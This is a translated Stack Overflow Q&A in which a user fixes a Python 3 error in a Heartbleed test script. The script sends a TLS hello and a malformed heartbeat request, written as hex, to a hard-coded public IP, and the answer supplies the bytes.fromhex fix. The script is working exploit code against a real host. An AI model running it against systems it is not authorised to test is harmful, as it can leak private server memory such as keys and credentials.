我在网上寻找hertbleed ssl漏洞,并从Sans网上想出了一个简单的代码:
import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)此代码仅使用python解码以解码格式向SSL服务器发送Hello消息,以确定该服务器是否易受Heartbleed漏洞的攻击。但是当我在python 3.7中运行这段代码时,它显示了如下错误:
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
AttributeError: 'str' object has no attribute 'decode'注意:请尝试使用其他IP地址,而不是本文中使用的IP地址
发布于 2019-11-05 03:11:39
从十六进制解码str值在Python2中是有效的:
>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'在Python3中,您希望使用bytes.fromhex
>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'https://stackoverflow.com/questions/58699169
复制相似问题